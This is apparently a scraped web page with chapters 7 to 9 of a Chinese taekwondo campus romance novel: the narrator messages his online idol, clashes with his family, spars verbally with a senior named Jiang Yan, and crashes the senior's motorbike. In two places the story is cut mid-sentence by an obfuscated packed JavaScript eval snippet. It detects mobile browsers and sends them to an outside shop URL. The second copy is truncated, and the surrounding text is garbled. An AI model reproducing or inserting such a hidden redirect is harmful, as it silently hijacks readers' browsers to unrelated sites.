《我不正常,你注意点[竞技]》 7.私联的报应 金丞咽了一下,喉结滚动。 孤君这是在和自己倾诉烦恼吗? 一秒钟恍惚,他认为是的。因为孤君最后的问题是一个问号,说明这是一个疑问。要是句号,那么就是一个陈述句。屏幕明明没闪,可金丞却认为屏幕在晃,怎么回事?地震了? 金丞按住手腕,镇定下来,不是地震,是他的手在抖。追过星的人大概才能明白此时感受,有超现实的飘忽感,需要好好缓一缓。 在这几秒钟里,金丞又想到了很多,主要是关于如何回复。若说制定一场跆拳道比赛的战术和细节,金丞很拿手,他可以运用技巧和心理战术在空间和时间上双重挤压对手,杀个片甲不留。可是面对偶像,他青涩太多, 这不仅是偶像,可以说是男神。 男神之手吧,简称“男手”。 他给孤君留过很多评论,想过无数次孤君会挑出来回复,幸运的话,两个人多聊几句,混不成脸熟,最起码混个ID熟。现在直接私信倾诉,这过载的速度一下子给金丞干到太阳系之外,回不过神来。 有点超纲。金丞躺在枕头上发懵,然后拿起了手机。他不能让男手等着自己,那么好看的手,总不能独守空房……不对,独守空手机。 在回复信息之前,金丞甚至咳了几声,清清嗓子。 [怎么被骗了?报警吧!] 孤君:[倒不至于报警。] 金丞再次回复:[报警!必须报警!社会需要正能量,我们必须制止此等犯法行为,把一切罪恶扼杀在摇篮里!今天骗你,明天就会骗别人,这种人就该送进去踩缝纫机,才能改过自新,重新做人!] 孤君:[倒也不至于。] 啊?不至于?不至于你生什么气?气点这么低的吗?金丞无法理解,因为自己本身的气点很高,金昭就算前劈腿、侧旋踢,飞个360度给自己一脚,也可以一笑带过。 孤君:[不过,骗子的人品确实不行。] 啊,原来孤君是担心这一点,金丞将手机虔诚地放在心口,感受到了他和自己的不同。 [所以您还在担心骗子的处境吗?] 孤君:[如果让他继续下去,上当受骗的人会越来越多。] [那您是想……动用私刑?您亲自动手惩罚?] 金丞脑补出了一个行侠正义的帅哥。 孤君:[那也不至于,人不能动用私刑,我不能侵犯别人的基本安全。] 嗯?怎么回事?刚刚脑补好的行侠正义大帅哥消失了,感觉孤君变成了一个阴暗的变态。 [哈哈哈,先生您太幽默了。不过以我对您的了解,您一定是一个好人,欺骗您的人一定品行不端,不值得拯救。您要是不想报警,干脆骗他一次,扯平拉倒。还有……现在已经很晚了,您吃掉水蜜桃之后就休息吧,晚安!] 金丞真后悔,如果两个人加了其他的联系方式,那么自己那些可爱的、能体现纯良无害的表情包就能派上用武之地,他有把握,绝对能把自身包装成可爱的小白兔,一戳一受惊的那款。但现在没有表情包就很限制他的展开。 这是他头一回和男手聊天,在不确定对方的作息时,提前说晚安是最为保险的手段,不会让对方厌烦。 孤君:[好,晚安,谢谢你。] 孤君:[红包。] 嗯?怎么回事?为什么还发了个红包?自己这算是给他一些心理辅导了吗?金丞的手指停在红包上方,和屏幕就差几毫米,犹豫着能不能收。万一让男手误以为自己是个爱花别人钱的男孩子怎么办? 孤君:[收下。] [这不合适吧……] 孤君:[你不收,我就把你拉黑。] [这不行,我真的不能收。] 金丞发誓,这句话是认真的。但是他刚刚发完就察觉到聊天页面有点异样,弹回普通页面之后,已经无法查看孤君的微博内容。 我嘞个去!真给拉黑了? 金丞直接坐了起来,心情仿佛经历了一场云霄飞车,孤君这一番操作直接给他从喜出望外干到乐极生悲。他再次确认,确确实实被拉黑,于是悲从心中来,果然这清高的人设不适合自己。 要是在孤君面前露出真实的一面,不得给孤君钓成翘嘴? 但现在说什么都晚了,金丞只能不舍地放下手机,惊叹于男手的执行能力。这么牛逼的执行力,孤军的真实身份到底是干什么的?他意志力这么坚强,为什么不去当运动员啊? 正这样想着,沉稳又规律的敲门声响起,不等金丞说“请进”,那扇门就被外面的人轻轻推开。 “你为什么开门总是这么急啊?”金丞猜到会是哪位,家里也就是他过来。 屋子里应有尽有,从物质条件来看算得上一套优渥的睡房,连沙发都是设计师款。大落地窗也凸显着阁楼的设计感,金启明端着托盘进来,里面是他精心挑选的晚饭和一些药物。 “我就知道你没睡。”金启明轻轻走到床边,将托盘放在床头柜上,“让我看看你的耳朵。今天这件事怪我,我要是不去接你就好了。” “看屁啊,哈哈,你再晚点儿看,伤口都愈合了。老子就这么牛逼。”金丞一笑而过,心里还在为孤君拉黑而感到悲伤和苍凉。 “用不用带你去看看医生?”金启明想要检查一下,可是他动作没有金丞快。金丞一个闪避就闪开了,如轻巧羚羊,滚到了床的另外一边。饭菜都很精致,可是他却觉得没有首体大东食堂做得好,一点胃口都没有。 再有,就算有胃口,他也不打算吃,因为他打算偷偷降体重级别。 “哥,陪我睡觉。”金丞掀开被子,大大方方地要求他。 金启明露出一副无奈的神色来,因为一会儿还要继续工作的缘故,现在还穿着正装,没有换家居服:“我还要开视频会议。” “陪我。”金丞已经滚进了另外一侧的被窝,在学校收敛太狠,回家肆无忌惮。他再次拍了拍床边,眼睛却直勾勾地看着天花板,像一具抽离了感情的木偶:“陪我睡觉。” “唉,好吧。”金启明没有法子,只好脱掉拖鞋,掀开被子之后躺在他旁边。金丞无所谓地弹了个舌响,翻身,搂住金启明后两条手臂狠狠地勒住他的肩:“行了。” “你在学校是不是也这样赖着队友?到处找别人睡觉?”金启明猜他会的,这个弟弟啊,一向如此。 “那自然,全世界都得陪我睡觉,哈哈。”金丞笑得格外爽朗,用笑声掩饰耳朵疼,鼻梁骨也疼。他没想到朱飙的上肢力量大到离谱,简直像练习ITF跆拳道的人,不像是他们平时练的WTF跆拳道。但现在他又不愿意想那么多,只想赶紧睡觉。 他好累,开学第一天就比他想象中要累许多。可骨子里又很精神,他对跆拳道的爱,对比赛的热爱,像是胸腔里的冷碳烧出了一片艳阳天。然而光是烧出了艳阳天还是不够,他往大哥的胸口扎了扎:“哥,我怎么这么冷?” 金启明再次叹了一口气,给他盖好了被子。“睡吧,睡着了就不冷了。” 狗屁睡着了就不冷,每次睡醒金丞都手脚冰凉,这回照样不例外。第二天,他冰冰冷冷地睡醒,睁眼之后旁边只有空置的枕头,没有人陪着他过夜。金启明从来不在他屋里睡,到了半夜会自己走,亘古不变。 凌晨5点半,好安静,金丞精精神神地起来了,他要赶回学校上课。 如今是大学生,不比正山武校,看谁不顺眼就打这个揍那个的。可是哪怕他在正山读书也没有落过早训,想想真好笑,当了好多年的武校小霸王,却是一个认认真真写作业的全勤生。 洗漱时,金丞发现了一件比他操蛋的身世更加操蛋的事情,简直是蛋上加蛋。 他左耳朵听不见了。 昨晚入睡前还不这样,包括他瞎脆弱犯矫情的时候,被金启明抱着的时候,耳朵都还挺好的呢,怎么睡醒了一觉之后左耳朵就有点听不清楚了?里面嗡嗡的,像是装了一只蝉。 谁说的,抓了一只蝉就抓住了整个夏天,他恐怕把海南以北的全部夏天都抓住了。这难道就是昨天晚上和偶像私联的报应?那些爱豆的经纪公司要是在管理上有自己耳朵这样严格,偶像塌房也不至于一个接一个。 算了,不管了,过两天兴许能好。金丞收拾完毕,用听手机音乐的方式检查了一下自己道德情操颇高的耳朵,确定右耳听力正常。时间紧迫,他穿好首体大的队服,拎起包出发。 家里没有其他的人起床,走过宠物间时里面的猫都没动弹一下。金丞踮着脚尖儿,走猫步一样从楼梯上扭下来,刚好路过金昭的酒柜。他忽然想起金昭最近带三妈和金启星、罗钰去过什么酒庄…… 管他是什么呢,金丞将酒柜的玻璃门打开,拿出了3瓶帕图斯。酒柜里有醒酒器和金色开瓶器,金丞随便打开一瓶,不带醒酒,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022157|136873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕暴殄天物,当即入喉痛饮几口。然而又怎么可能好喝,他表情扭曲地咽下去,将剩下那半瓶全部倒进玄关处的古董花瓶里。 花瓶里插着一只玫瑰花。 什么样的因,种什么样的果,金昭养出自己这么一个“贱货”,就和拿酒养花一样,好不到哪里去。金丞再一次笑了起来,尽量让嘴角翘得很漂亮。没关系,他们都嫌弃你,偏偏你最争气。 哒哒哒,哒哒哒,身后有脚步声。 金丞回过头:“你怎么起了?” “嘘……”金启星等候多时,用手指在嘴唇上一比划,“二哥,你没事了吧?” “你哥可是打跆拳道的。”金丞走过去,“起这么早干嘛?别告诉我你要早起背英语单词啊。” “我真背了,abandon。”金启星同样是金昭那一款长相,长大估计也是一张霸总脸,小小的他开始掏兜,拿出一个红包。 “干嘛?”金丞边说边接了,还当着10岁弟弟的面给打开来,数了数里面的钱,“一万二?” “我攒的,给你花。”金启星小声说,“我妈说,你这段时间先别回家,爸爸美股亏钱,脾气大,和她也发火了。” “替我谢谢三妈。”金丞直接将红包塞进运动包,金启星不缺钱,他几个月就能攒出来。 他又蹲下了:“抱一个?” 金启星立刻就抱了:“二哥,你等我长大吧,长大了爸爸就老了,他打你,我打他。” “你可别。”金丞搂紧他,奇怪,自己好像感觉不到热,“他对我不好,不代表对你不好。他疼你是真的,你别恨他,你得继承他的遗产,顺带连我也继承了,以后养着我哈哈。” “真的?”金启星亲了下二哥的耳朵。 “真的。”金丞松开怀抱,揉揉他毛茸茸的脑袋,“去,上楼睡觉去吧,二哥上学去了。” 金启星只好和他告别,金丞看着他的小背影,自己应该看不到他长大继承遗产那一天,二哥陪不了你太久啊。紧接着他出门了,等到回到学校,早训已经结束,上午的训练刚刚开始。 一回到这里,金丞浑身舒畅,筋骨和血肉都活跃起来。他喜欢听大家跑步的声音,也喜欢看队友们做敏捷绳的跳跃,反正干什么都好,踢靶子都好听死了! 活了活了,自己又活了!金丞兴高采烈地跑进更衣室,一进屋,就看到美人脱衣。 江言背向着他,下半身穿着道服裤,上半身还没来得及穿。 金丞在这半秒里,像是活生生上了一节人体课程,将江言的斜方肌、三角肌后束、冈下肌、小圆肌、大圆肌、背阔肌以及竖脊肌全部过瘾似的扫了一遍,最后目光牢牢地扒在江言的肱三头肌和肱二头肌上。 看什么啊,金丞,又不是自己没有! 金丞奋力地挣扎出来,笑着走到江言面前:“学长早上好。” 江言只是嗯了一声,并未多说什么,显然兴致不高。 “诶,你是不是生我气了?还在生气啊?”江言转到一边去,金丞就跟到另外一边,“我只是想进学生会而已,又没有人引荐。” “那你也不能动手做违法的事。”江言仍旧不清楚他给周高寒下了什么药。 “我什么时候违法了?”金丞嘴皮子都磨破了。 “你自己心里清楚。”江言打开面前的橱柜,拿出黑带来,“而且,你昨晚的龙眼没吃完,应该是偷偷扔了半碗吧?” 黑带都是定制,上面绣着各自姓名。黑底儿,金字,“江言”两个中国字十分显眼。 金丞品味了一下,江言明明是个美人,怎么拿黑带的架势像金昭抽皮带抡人呢?什么毛病,随手捡武器。 等他抬起头,和江言的目光相撞。江言即刻垂下眼皮:“你鼻子和耳朵,贴粉色大脸猫的创口贴,是为了装可爱么?” 我去你大爷的粉色大脸猫!老子买的正版HelloKitty!金丞笑着点头:“是啊是啊,我从网上学的。学长,你能不能带我进学生会玩儿玩儿?只要你带我进去,我什么都可以做。” “什么都可以做?”江言的眼睛明显亮了一瞬,但马上恢复常态。 金丞点了点头,两个大男人能有什么事啊,大不了江言就是要打自己一顿呗。 “那你脱衣服。”可没想到江言用不能再正经的语气,配上严肃到极致的神情,仿佛用美丽的面孔对学弟进行训斥,“我要看你。” 8.左右为男 “你是变态吧?” 金丞脱口而出。虽然他承认自己就是个小变态,但是,还没有这样堂而皇之让谁脱过衣服。说话时他差点露馅儿,语气也有点冲了,但马上又恢复了伪装,完美融入了HelloKitty的氛围感里。 “这不好吧?”他又问。 好你个江言,你让我脱衣服?你只要敢动手,老子就让你知道正山武校的小霸王是怎么卸人胳膊的。 他好像一点都不怕?江言指了下他的队服:“没事,你别害怕,脱上身就行。” “哦,那学长你早说啊,我还以为你一大早要看我的鸟呢。”金丞的紧张感一瞬即散,利索地脱掉了队服外套。左耳朵没动静,他将右耳朵那一边朝向江言:“现在可以了吗?” 他脱衣服,非常熟练。江言冷冷地说:“不够。” “什么?”金丞以为听错。 “可以再脱一件么?我要看你。”江言又说,“你脖子上怎么红了?吻痕?” 吻你个头啊,真当我是什么圣体,脱一件衣服全世界都亲吻上来?金丞不在意地挠挠脖子:“我嫩,除了纯棉和蚕丝,其余的布料都有点过敏,咱们队服里是不是掺涤纶了?” 江言靠近一点,用手指戳了下那片红。“那你继续脱。” 你还命令上我了?金丞看到他那副好学生的嘴脸就十分好笑,这可真是百年不遇的美少男,在自己身上找存在感?但他还是脱了T恤,而且脱得十分洒脱。光个膀子有什么难为情?江言有的,他一样不差,他就不相信了,自己能比江言多一个咪头?大家都是两个吧? 虽然不知道江言想干什么,但金丞谅他也不敢干,就这样站在更衣室的衣橱旁边,此时此刻就算教练推门而入也只会以为学长在教训学弟。然而并不是。 学长,命令学弟脱掉了上衣。 学弟,还真就“乖乖”听话了。 当然,这一场听话的主动权在金丞手里,脱衣服的是他,但萌生了挑逗心态的人也是他。他脸上挂笑,深吸了一口气,找了一个最完美漂亮的角度让江言欣赏。 江言不确定自己现在的行为算不算得上“观赏”,但他确实没能移开视线。目光降落在另外一边,金丞其实是一个很有风情的人。可能是因为他腰细,什么动作做出来都轻浮且潇洒,扭着腰看过来时,像挑逗。 或者说,就是在挑逗。 品行不端,举止随意,让脱就脱。总结来说真的很欠。但江言可不是为了考验他的人品让他光着,而是为了确定。他看准金丞的右侧锁骨,锁骨终端最靠近胸锁乳突肌的那里,果然有一颗红色的痣。 是他,还真是他。 金骑.乘。 不是,金启丞。 仔细想了想,那年金启丞将自己一脚踹出幼儿跆拳道的比赛场地时,他的眼睛里也透露着天不怕地不怕的光,脸蛋很白很干净,嘴唇很红。 那年的金丞已经流露出对赢的渴望,虽然只有4岁。明明是嘴上还能叼个奶嘴儿的年龄,打人却非常猛烈,像小钢炮不知疲惫,像小野猫见了荤腥。他蹦蹦跳跳来到自己面前,还诱惑一下。 “哥哥,我可以打你一下吗?我打你一拳,你再打我一拳。” 小团子粉雕玉琢地站在面前,可爱度直逼一个加强连。5岁的江言轻而易举地相信了,还以为他和师弟师妹一样,彬彬有礼,说话算话,两个人都不图今天的名次,一会儿还能当好朋友。说不定师父一高兴,自己又多一个小师弟,漂漂亮亮的,哪怕打拳不好,摆在道馆里看着就让人开心。 应该给他摆到师父的道馆里去,摆观音旁边,观音笑,他也笑,自己看了也笑。 结果就在江言笑着点头一刹那,他就被金丞给打了。还打赢了,左脚一个前腿横踢,扭着屁股转身子,右脚的后旋踢跟上来,扭了个站不稳的神龙摆尾。他打赢了还不走,小屁股直接坐在自己的脸上,又挪到胸口,把那双小脚往自己的脸边放:“哥哥,我请你吃脚脚。” 江言平躺着,记住了他的脸,在更衣间看到他换衣服记住了这颗红痣,也记住了以后再也不能轻易相信小朋友,越可爱越会骗人。明明就那么一丢丢大,却像有了千年道行的小狐狸。巧眉俏眼,几句话就把人哄得五迷三道,在人放松警惕的一瞬间露出伶牙俐齿,狠狠地咬上一口。 在4月份的招生季偶然相见,江言就觉得是他。阔别多年,再次相见,江言对他的头一印象居然是……长得出挑,出类拔萃的那种出挑。 只长个子,还不长道德。 确认之后,江言尘埃落定地呼出一口气。屋子里像多了一只大象,脚步轻轻抬起,脚步声重重落下。金丞白皙又带有明显薄肌轮廓的腰上缠着护腰,勒出了一截儿好身段。他腰线极高,高挑颀长,刚才还游刃有余,现在却有点耐不住。 只因为江言的打量太认真又太规矩了。他要是说几句脏话,或者上手掐一把,金丞怎么着都能糊弄过去,问题就在于他只是用近乎审视的目光洒下来,仿佛把皮肤上的一分一毫都看明白。 “看完了吗?”金丞也跟着深吸了一口气,既然他打量自己,自己也打量他,坚决不吃亏。他第一次注意到江言的眼睛,睫毛纤长,翘度很标志,细细的,随着眨眼的动静而翻动。 又低头观察江言的手。不愧是那么多手膜保养出的艺术品,指长优越,骨节匀称,手背皮肤细腻,血管都秀里秀气。 好手!金丞觉得自己又可以了! “你这样的上了场怎么打?陪练敢对你动手吗?”金丞懒洋洋地问。 江言已经在脑海里给金丞挖了几百个坑,可面上是毫无破绽,轻柔地笑起来:“你觉得呢?” “我觉得没人动手,谁舍得打美人呢,我都不舍得。”金丞从椅子上捡起短袖,迅速套上,“以后谁欺负你,你提我的名号,我可是正经八百认了师父的人,背后有道馆的。” “到时候再说吧。”江言似笑非笑地点了下头。就你有师父?真把我师父提出来,你就得跪着爬过来。 “你瞧,我对你这么好,你是不是觉得我也挺好的?”金丞从包里拎出一瓶帕图斯,套近乎的意思都贴在脸上了,“有我这么漂亮的学弟,高兴不?” “不漂亮。”江言低着头整理道服,瞥了一眼酒瓶。好酒,七八万吧。 金丞噎住了,从小到大,他听过无数种谩骂,以“贱货”为主,“小傻逼”为辅,但从没听过别人说他不漂亮。 “学长你真幽默。”金丞皮笑肉不笑。 “像一颗土豆。”江言低着头说,“脑袋挺圆。” 土豆金丞深深地呼吸了两次,咬着后槽牙笑道:“学长,你都看完我的胴体了,能不能带我进学生会?给土豆一个机会,土豆还你一个未来。” “如果我不呢?”江言这才抬起头。嗯,他脑袋确实很圆。 “那我就想别的方法呗,走走周高寒的关系。”金丞把刚刚拿出来的红酒给收回去,“我走了,拜了个拜。” “你去哪儿?该训练了。”江言指着更衣间里的挂钟。 “我请个一刻钟的假,去一趟学生会就回来。不过……你真的错过了一个好机会,我真有一个很厉害的师父。”金丞和他挥小手,拜拜您嘞,就当自己光着膀子出去嘘嘘,无缘无故被路边的狗瞪了几眼。 自己的师父,那可是大名鼎鼎叶合正,全国多少人巴结不上呢。而能和师父平起平坐的,全中国也就是花咏夏一家,只不过两边水火不容,有你没我。 “你回来!你又要给龙眼下药去?”江言在心里又给他差评多加一条,不服从管理,任意妄为,脱离队伍。可是又关自己什么事?金丞他愿意堕落,愿意和首体大白眼狼专业的周高寒厮混,那是他自己的事情。 离开更衣室,金丞还哼着小曲儿,一边玩手机,一边往学生会快走,原本他只是随便看看微博,没想到……孤君居然把自己给拉白了? 私信又多了一条,就是他刚刚发的。 孤君:[对不起,昨晚有些失控。] 失控你就拉黑我?你失控为什么不拿钱砸死我?金丞顶着“天下随我日”的ID回复:[没事,人都有失控的时候。不过你为什么拉黑我?(哭泣)] 孤君:[因为我不太能接受别人的拒绝。] 孤君:[你拒绝红包,我不知道怎么面对。] 天下随我日:[男神你早说啊,小红包我还是会收的,攒钱给自己买包包。] 孤君:[红包。] 这次金丞可没敢耽误一秒,点击收下,钱不多,88块,数字很吉利。 天下随我日:[谢谢男神,以后你发多少我都会收的,你说什么我都会做的。] 孤君:[我还是很生气,怎么办?] 金丞:[还是昨天的那个骗子吗?报警吧,抓他吃牢饭。] 孤君:[不行,吃牢饭会耽误他的前程,万一他以后打算考编考研呢。] 都骗子了,还考编考研?孤君你还真替别人考虑呢。金丞算是品出来了,孤君这是纠结呢,他就没想和那个骗子算账。 金丞:[那你就帮帮他呗,说不定他只是走了弯路呢。] 孤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周高寒低头看了看,忽然一笑:“你还挺聪明,有眼色。” “周哥你是新主席,以后我打算跟着你干。”金丞将药盒递过去,突然想起江言来。那孙子居然说自己在龙眼里下药?我金丞是什么很坏的人吗? 是,我是。 不过下药这事金丞还真不敢干,他只不过是看到昨天学生会的外卖盒了,全部都是曹氏辣货。他吃过一次,屁股疼了3天,从那次起,金丞就发誓以后要真的gay了,绝对要当1,这辈子就当小菊花的第一次给曹氏了。拉个肚子就这么难受,捅来捅去还得了? 除了曹氏,他昨天还看到了外卖盒旁边的冰可乐。这一热一冷,这帮人八成要拉肚子。赌一把,又给金丞赌到了。 “你想跟着我干?”周高寒收了他的小药盒,算是收下他的敲门砖,“进来说吧。不过我先告诉你,体育部部长这个位子竞争力度很大,光是候选人我随随便便就能说好几个。你是哪个项目?” “跆拳道。”金丞有点听不清楚他说话,调整了一下位置,右耳对着他。 “唉,那你可能悬。”周高寒走到了学生会干事的照片墙面前,“这个,这个,和这个,都想竞选体育部。特别是这个江言,和你同项目,去年在白洋手底下干得不错。” “白洋?白洋是谁?”金丞没听过这个名字,“他也是学生会的?” “他不重要。”周高寒立即否认,“其实我也不看好江言,如果能培养自己的人,我会选择重新栽培。” 铛铛铛。 三声敲门打断了他们的谈话,门不开而自开,江言的手还压在门上,气息略有不稳。 “江言?你怎么来了?”周高寒一惊,刚才自己的话他没听见吧? “我来找金丞,教练说让他回去训练。”江言说。 “哦,那巧了,我正好也要回教学楼,咱们一起走吧。”周高寒已经将金丞划定成自己这一波的人,白洋那一拨的人他打算连根拔起。金丞跟着周高寒,走过办公室的门,和江言擦肩而过。 江言沉默地跟上了他们。 办公室在5层,他们等着电梯,一时无话。时间仿佛被无限拉长,金丞站在他们当中,终于等来了电梯门打开。 厢体里空空荡荡,3个人走进去,还是一时无话。等到电梯下行到4层,门再次打开,涌进来好几个人。人一下子多了,空间就少了,金丞还没动窝,周高寒先一步将人往自己身边带了带。 “你站我身边。”周高寒腾地方。 “谢谢周哥。”金丞被他带的动了一下,刚上来的人继续往后挤,身后是金属墙壁。就在周高寒抓住他左手臂时,右边的人猝不及防地抓住了他的右手臂,差点攥了个满圈。 电梯门关上,继续下行。前面的人说着话,金丞往左不是,往右也不是,被周高寒和江言同时攥着大臂。两个人还跟较劲儿似的,都不撒手,攥得越来越用力。 这奇怪的三人行,金丞左右为男。 9.男上加男 你们俩这么做有意思吗? 干脆一人分一边,我的左边跟着周高寒去教学楼,我的右边跟着江言回道馆。 青天白日,朗朗乾坤,你们在公共场所强抢民男,你们两个还挺自豪? 胳膊都要被勒断了,金丞又甩不开他们,怀疑他们是吃了什么十全大补丸。余光当中,周高寒和江言纷纷收回了目光,看向了电梯的楼层灯,所以金丞只能瞧见他们分外冷酷的侧脸。 你们不看我,我也不看你们。金丞也目视前方,于是3个平均身高185的人目空一切,研究着那个不断变化的数字。 3层之后是2层,电梯门又打开了。 又上来了两个人,其中有一个明显和江言认识,近距离地打招呼:“咦,你怎么没训练啊?” 江言手上的力道大了几分:“马上回去。” “早点去吧,体育节快到了,你们跆拳道还有特技表演呢。”那人叮嘱。 金丞那听力仅存的右耳朵一动,特技表演?为什么没人告诉自己?自己的消息可太闭塞了,如果能在表演当中拔得头筹,一定可以收获不少支持率。 “陶文昌,你怎么还没去训练?”没想到周高寒也开口了,“你们跳高队现在是不是挺忙的?” “还行,还行。”名叫陶文昌的男生这才转过来,“你也在啊,我都没看见你。” 切,蹩脚的演技。金丞作壁上观,怎么可能没看见,就是不想打招呼而已。 “没事,现在看见了也行。过几天记得去开会。”周高寒笑着说,手上的力道也强了几分。 “好嘞好嘞,我肯定去。”陶文昌也笑着点点头,和江言对视了一样,转了过去。 终于到1层了,金丞都快被这两个男人掐出汗来,但凡有一个先松开手他也不至于。等到门一开,站在他们前面的学生率先离开厢体,让出了一条路来。金丞想着,自己这左右护法该松手了吧?咱仨得下电梯啊。 不然让别人进来看到,还以为我犯什么事了,被你们押送。 结果,左右两边的人都没动。 既不下去,也不松手,仍旧保持着原状,仿佛他们脚底下踩住的不是地板砖,而是蟑螂屋。金丞动弹不得,头部微微偏转,看了一眼周高寒又看了一眼江言,你们能不能别这么幼稚?有话就说,你们拿我撒气干嘛? 不等金丞开口,电梯门再一次打开,又上来人了。金丞目瞪口呆地看着电梯层数从1变成了6,自己这是犯天条了吧,遇上这两个活爹? “咳咳,我说。”等到电梯再次只剩下他们仨,金丞不得不开口,“你们能不能别掐我了。” “呦,掐疼了吧?”周高寒紧跟着就说,“对不起对不起,我手劲儿大了点。江言你也真是……” “我怎么了?”江言也开口了,“他是我们跆拳道的学生,我只是听从周教练的安排,带他回去训练。” “训练就训练,你抓他干什么?”周高寒看向江言的手,“你瞧,都给人家抓红了。” 金丞没来得及穿外套,穿的是白色短袖队服,江言手底下确实有一圈红痕。 “我又没使劲,手劲儿也不大,他红是因为过敏了,这批队服不是纯棉,里面掺了涤纶。”江言公事公办地说道,“作为学生会的新主席,你应该盯一下教育物资这一块儿,给我们换一批队服。” “啊,对对。”金丞倒是点点头,“我只能穿纯棉和蚕丝。周哥,你看这事……” “小事一桩,不就是队服嘛。”周高寒看出他脖子都红了,松开掐住他手臂的手,反而亲密地勾住了金丞的肩,“这么严重的事,为什么刚才不跟哥说?” 我刚才还没来得及认哥,江言就杀过来了。金丞心想,不等他回应周高寒,从后背来了一股推背感,直接蔓延到后腰。 江言的手这是有多大啊,一掌糊半腰了,金丞立刻明白江言在推他。手指很长,很硬。 “不好意思,周教练在催。”江言不等周高寒再开口,按下开门按钮,将金丞推离了电梯。 “等等,等等……”金丞想挣扎,刚和周高寒攀上就要走,这算什么?江言你放开我,让我安心当一株菟丝子,牢牢地抱住周高寒的大腿。 可是江言十分强硬,金丞都不知道如何形容,被他拎着还是夹着,就这么带出了办公楼。 出了楼,江言倒是一下子放开了:“你以后不要和周高寒来往。” “怎么了?”金丞揉着肩膀,“我为什么不能和他来往?” 江言想了想:“因为他不是好人。” “你怎么知道?”金丞问。 江言断然地说:“因为我以貌取人,从面相学来说他不行。” 金丞发誓,要不是自己还要装乖巧甜心学弟,现在这一脚一定踹在江言的美男子脸蛋上,还会配合一个李小龙吆喝。蝉鸣越来越燥,天气闷得像掐住了他们的鼻子,不让喘气,金丞的火气一点点往上升。 行,你还敢和我讲玄学,你怎么和金昭似的?金丞忍无可忍,刚要开口,只听江言问:“会骑摩托车么?” “啊?会。”金丞一愣,哪跟哪啊。 “我要去采买队里的体育用品,你载我去。”江言当着他的面掏兜,甩给他一个钥匙链。 金丞莫名其妙地接了,莫名其妙地成了代驾。“去哪儿买?” 江言揉着手指关节:“先去东校门停车场。” 25分钟后,金丞站在一台宝马s1000rr暗夜红的面前,微微一笑以示良好:“所以,你刚才说,你不会骑摩托车,然后买了一台几十万的,放在停车场里看着?” 江言拎着刚刚从储物柜里拿出来的两个暗夜红头盔,轻轻地点点头:“不过你要骑慢点儿,我容易晕车。” 金丞想把宝马托起,然后把车压在这傻逼身上。 烦了,毁灭吧,地球.爆炸。 长得再好看也是反贼,此人断断不能留。 “你是觉得我很好骗吗,学长?”金丞斜眼瞪他。 连翻白眼都这么活色生香。江言直接跳过这个话题,将头盔之一递给金丞:“你能行吧?” “我能行,但是我提前说好,车要是划伤别找我。”金丞承认自己确实是馋了,不是馋江言身子,而是馋他这辆车。这可是s1000rr,多少人的梦中情车,买都不好买,有钱提不到。他走过去,先摸了两把座椅,心口像塞了一个气球,慢慢充盈,愉悦感直升。 以前骑的最好的车,也就是ninja400,和这个差着小几十万,完全不是一个档次。 江言自己亲手放下脚蹬,戴好头盔调整:“去商街后面的体育街,你没问题吧?” 金丞刚把头盔给戴上,有这么一层,本身听声音就云里雾里,再加上他左耳失聪,干脆什么都没听到,只看到江言那张薄情的嘴再动。 “去体育街。”江言离近了和他说,一不小心俩人的头盔撞在一起,咣当一声。 “哦哦,听见了。”金丞指了指耳朵,脑浆子差点给撞出来。 江言敲了敲自己的头盔,几不可查地皱了下眉头。 s1000rr比金丞以前骑的车都要好,也都要大,上车前他先试了一下车把,检查能否推动,然后亲自试了十几米。这车的劲儿太大,也太爽了,嗡一下起步那瞬间金丞怀疑自己都要高潮了。 哈哈,自己好变态啊。 确定能骑之后,金丞将左腿往下一架,白色球鞋踩到泊油路,笔直的腿,膝盖打得很直,下盘又稳,露出的一截儿脚踝刚性十足。 “上来吧。”他朝旁边好学生一样的江言招了招手。 江言倒是十分痛快,只不过腿太长,蜷缩在后面十分为难。金丞也没辙,打跆拳道的身体优势就是个子高、腿很长,你自己非要我带,你自己忍着。 “你以前带过人?”江言体态委屈地坐好,就这一次吧,以后再也不让他动自己的爱车。 “带啊,只不过以前我都带妞儿。”金丞等到他完全坐稳才开动,等到江言的手捞过来,他叫唤,“诶,你别摸我胸!” “我在撑车座。”江言第一次被人载,一只手撑住前方车座,一只手犹豫着要不要搂金 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有病吧,自己?当金丞开过了一个红绿灯时,江言进行了一次自我反省。其实自己不用管他,也不应该干涉他和周高寒的接触,周高寒那种人用来给他上一课,也挺好的,对不对? 夏日闷热,江言感觉到自己很热。 金丞为什么会这么瘦? 难道他在偷偷降量级?有体重量级之分的运动,并不是体重越重越有优势。正相反,对于他们这样的高个子来说,体重越轻越有优势。可是他这么往下降,教练知道么?学校的营养师知道么?胡乱降级非常危险,他会不清楚? 现在真的很闷,天气预报说要下大雨,江言越来越热。 体育街离学校不算远,金丞弓着腰,任由江言压在他的后背。江言的身体好像特别硬,压过来和山似的,两次拐弯之后,金丞就相信他真的没坐过后座。 坐后座的人都会配合开车的人,拐弯时跟着一起移动上身,江言像木头桩子。不过无所谓,他不配合,自己驾驶技术高,每次过弯都顺顺利利,而且再转一个弯就到了…… 正这样得意着,一个外卖小哥的小摩托尖叫着冲向他们,毫无意外地吓着了金丞。金丞毫无意外地歪了一下车把,毫无意外地歪向了路边的草坪。在s1000rr正式歪倒之前金丞也做过激烈的思想斗争,要不要跳车? 按照他的反应速度,这几秒是完全可以跑的。 但是金丞难得的,没有自私一把,而是选择了尽力挽救江言的车。重心肯定是歪了,救不回来,只能尽力降速。歪倒的地方还有得挑,必须歪到柔软的草坪里去。腰间的那双手倒是松开了,并没有完全抓紧。 最后s1000rr以不可思议的慢速倒在了柔软的草坪上,虽然是安全着落可还是引起惊呼一片。车很沉,压着金丞没来得及收的右腿,也压住了江言。 